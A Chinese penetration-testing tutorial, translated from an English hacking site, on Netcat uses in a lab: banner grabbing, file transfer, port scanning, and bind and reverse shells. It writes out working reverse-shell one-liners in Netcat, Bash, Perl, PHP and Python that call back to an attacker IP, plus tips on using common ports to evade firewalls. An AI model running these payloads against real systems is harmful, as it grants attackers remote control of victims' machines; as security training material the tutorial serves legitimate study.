Necat 是一个伟大而实用的用于 TCP 和 UPD 网络连接协议的读写程序。同时 Necat 也被誉为网络中的瑞士军刀,在许多黑客教程中 Necat 也被广泛使用。Necat 最常见用途是设置反向连接和 bind shell ,管道和重定向网络流量,端口侦听,调试程序和脚本,抓取 banner 等作用。在本教程中,我们将学到以下内容:
1. Banner 抓取
2. 原始连接
3. Webserver 交互
4. 文件传输
5. Necat 端口扫描
6. 绑定和反弹 shell
我们将使用运行Linux和通过一些可视化的几个虚拟机,来演示这些技术。
Banner 抓取 原始连接 和 Webserver 交互
服务的 banner 信息通常被系统管理员,用于了解当前网络中的系统和运行的服务情况。服务的 banner 信息标识了正在运行的服务类型,还标识了服务的版本信息。banner 抓取是一种在开放端口上检索关于特定服务信息的技术,并且可以在渗透测试期间用于执行漏洞评估。当我们使用 Netcat 进行横幅抓取时,实际上会对指定端口上的指定主机进行原始连接。当被抓取的 banner 可用时,它会打印到控制台。下面让我们看看如何实现该项功能:
Netcat banner 抓取
使用以下命令与目标服务建立原始连接,并抓取服务的 banner 信息:
nc [ip address][port]
让我们以? Metasploitable 2 下正运行在 21 端口下的 FTP 服务为例:
nc 192.168.100.100 21
从抓取的 banner 信息我们可以得知目前目标主机 21 端口上运行了?vsFTPD? 服务,版本为 2.3.4 。
Netcat 原始连接
为了更直观的演示原始连接的工作过程,我们将连接到 FTP 服务上,并发出一些 FTP 命令。让我们看看该 FTP 服务是否支持匿名操作访问,我们在 USER 和 PASS? 下键入 anonymous ,可以看到登陆成功!
以上我演示了如何抓取 banner 以及 如何设置和使用原始数据连接的方法。在这个演示中,我们使用了一个FTP服务,其实除了 FTP 服务,该技术同样适用于其它服务,例如SMTP和HTTP服务等。
Web server 交互
Netcat 也可用于我们发出 HTTP 请求时的 webserver 交互。使用以下命令我们可以抓取到正在 Metasploitable 2 上运行的 web 服务:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
HEAD / HTTP/1.0
我们可以看到 webserver 向我们响应了 服务端的一些基本信息,Apache/2.2.8 (Ubuntu) DAV/2 以及 PHP 版本等。
要在Web服务器上检索 webserver 的页面标题信息,我们可以发出以下命令:
nc 192.168.100.108 80
接着输入 HTTP 请求指令:
GET / HTTP/1.0
Netcat 文件传输
在本例中,我们将使用Netcat连接来传输文本文件。让我们假设我们在目标主机上可以执行远程命令,并且我们要将文件从攻击者的机器远程传输到受害者主机。首先,我们需要在目标主机上设置一个侦听,并从攻击者机器与它建立连接。我们将通过 8080 端口进行传输,并将文件存放在桌面:
nc -lvp 8080 > /root/Desktop/transfer.txt
此时我们在攻击者机器上输入以下命令与目标机器的 8080 端口建立连接,并传输一个名为transfer.txt 的文本文件:
nc 192.168.100.107 8080 < /root/Desktop/transfer.txt
接着我们 control + c 并在目标机器上 cat 我们传输的文本文件,可以看到我们的文本文件被成功传输到了目标主机上:
Necat 端口扫描
其实 Necat 还可以实现端口的扫描功能:
nc -nvz 10.1.1.11 1-65535 ?TCP端口扫描
nc -nvzu 10.1.1.11 1-65535 ? UDP端口扫描
以上我们介绍的,都是 Necat 的一些基本使用操作。下面我们来学习下 Ncat 最受欢迎和被使用最多的功能:设置绑定 shell 和反弹 shell 。我们将了解 bind shell和 reverse shell之间的区别以及它们的基本使用。 Netcat 通常不存在于系统上,因为它可能被视为潜在的安全问题。在此情况下,我们将学习如何使用其他工具和编程语言,来代替 Netcat 一些功能,例如设置反向shell 的功能。我们会使用编程和脚本语言,如Python,PHP,Perl和Bash是很好的选择!我们将结束这个教程与如何使用绑定shell。
Netcat 反弹 shell
从渗透测试的角度来说, Necat 通常被用来建立 反弹和绑定 shell 。反弹 shell 通常用于目标有开启一些防护措施,例如防火墙的过滤或端口的转发等。通过这种方式我们可以一定程度上绕过防护机制,从而达到获取目标主机的 shell 的目的。而绑定 shell 则是在目标主机上绑定一个处于侦听状态的端口,用于攻击者对其进行固定的连接,从而获取 shell 。
下面我将使用 4444 端口来完成 反弹和绑定 shell 的演示操作。这里你们可以使用任意端口,并非要像我一样!不过在实际环境中,我们应该设置更常见的端口,例如 80 和 443 来设置 反弹 shell 。
Netcat 反弹 shell 的建立
首先让我们通过下图,来更加深入的了解下 Necat 反弹 shell 的工作机制原理:
我们来简单分析下以上图示,可以看到目标主机反弹连接了攻击者机器的,并使用 -e 参数像攻击者机器发送了 Bash shell 。如果在 windows 主机上,我们还可以发送 cmd.exe 的反弹 shell 。这样我们可以假设,如果我们在目标主机上发现了一个远程代码执行(RCE)漏洞。那么,我们就可以在目标主机上使用 -e 发出 Netcat 命令,并使用 Netcat 启动反弹 shell 发出命令!
Netcat 反弹 shell 演示
为了成功建立一个 Netcat 的反弹 shell 我们需要以下几个步骤:
1.设置 Netcat 侦听。
2.从目标主机与侦听建立连接。
3.从目标主机发送命令到攻击者机器。
首先我们使用以下命令,在攻击者机器上设置一个在 4444 端口上的侦听程序:
nc –lvp 4444
接着,我们在目标主机上向攻击者机器发送指定命令(记住这里我们有远程代码执行权限在目标主机上):
如果是在 Linux 上,命令如下:
nc 192.168.100.113 4444 –e /bin/bash
如果是在 Windows 上,命令如下:
nc.exe 192.168.100.113 4444 –e cmd.exe
现在,我们在攻击者机器上就取得了一个目标主机的 bash shell, 并且我们可以完全控制目标主机在该反弹 shell 的 root 权限账户下。
可以看到,绿颜色的 console 窗口是目标主机的,下面的则是攻击者的机器。我们可以看到,这里已经取得了一个 root 操作权限,从攻击者 192.168.100.113 连接到目标主机 192.168.100.107 上。
脱离 Netcat 建立的反弹 shell
通过以上演示我们不难发现,想要成功获取目标主机的 shell ,目标主机则必须有 Necat 。但在实际环境中,并不会如我们所愿!因此,为了避免这种尴尬下面我们使用另一种方法,来替代 Necat 的作用。
Bash reverse shell
我们还可以使用以下 bash 命令来实现反弹 shell 的建立:
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1
?
可以看到,攻击者机器上的 Necat 同样获取到了目标主机的反弹 shell 。
Perl reverse shell
如果此时目标主机上用的是 Perl 语言,我们依然可以使用 Perl 来建立反弹 shell 。在目标主机上运行以下命令:
perl -e ‘use Socket;$i=”192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
?
PHP reverse shell
如果目标主机上用的是 PHP,这通常是Web服务器上的情况,它是Netcat,Perl 和 Bash 的一个很好的替代品。让我们使用以下命令,来实现 PHP 环境下的反弹 shell :
php -r ‘$sock=fsockopen(“192.168.100.113”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’
?
我们可以从以上代码中看到,它依然会返回一个 /bin/sh shell 。
Python reverse shell
Python也是Linux机器上常用的一种脚本语言。下面我们使用 Python 来建立反弹 shell :
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.100.113”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
?
Netcat bind shell
下面我们来看看绑定 shell 的原理图示:
从上图示我们可以看到,目标主机绑定了一个 bash shell 并侦听在 4444 端口上。攻击者通过一条简单的 Necat 命令,来与其建立连接。步骤如下:
1.使用 Necat 在 4444 端口绑定一个 bash shell 。
2.在攻击者机器上连接目标主机的 4444 端口。
3.发送指定命令到攻击者机器。
Netcat Bind shell 演示
让我们看 console 控制台演示,如下:
可以看到目标主机绑定了一个 bash shell 在 4444 端口,攻击者则使用 Necat 获取到了目标主机的 root 权限的 shell 。
总结:
通过以上的学习,我们已经学会了 Necat 一些基本的命令使用方法。重要的是,我们还掌握了一些可以替代 reverse shell 和 bind shell 的方法。这对我们今后,在真实环境下的渗透测试,提供了更多的方法及思路。因此,我们一定要熟练掌握和运用这些方法,只有这样我们的渗透才能更加高效和成功!
本文由即刻安全编译及整理,转载需注明来源!
原文地址:http://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
转载请注明:即刻安全 » 渗透中Necat的另类用法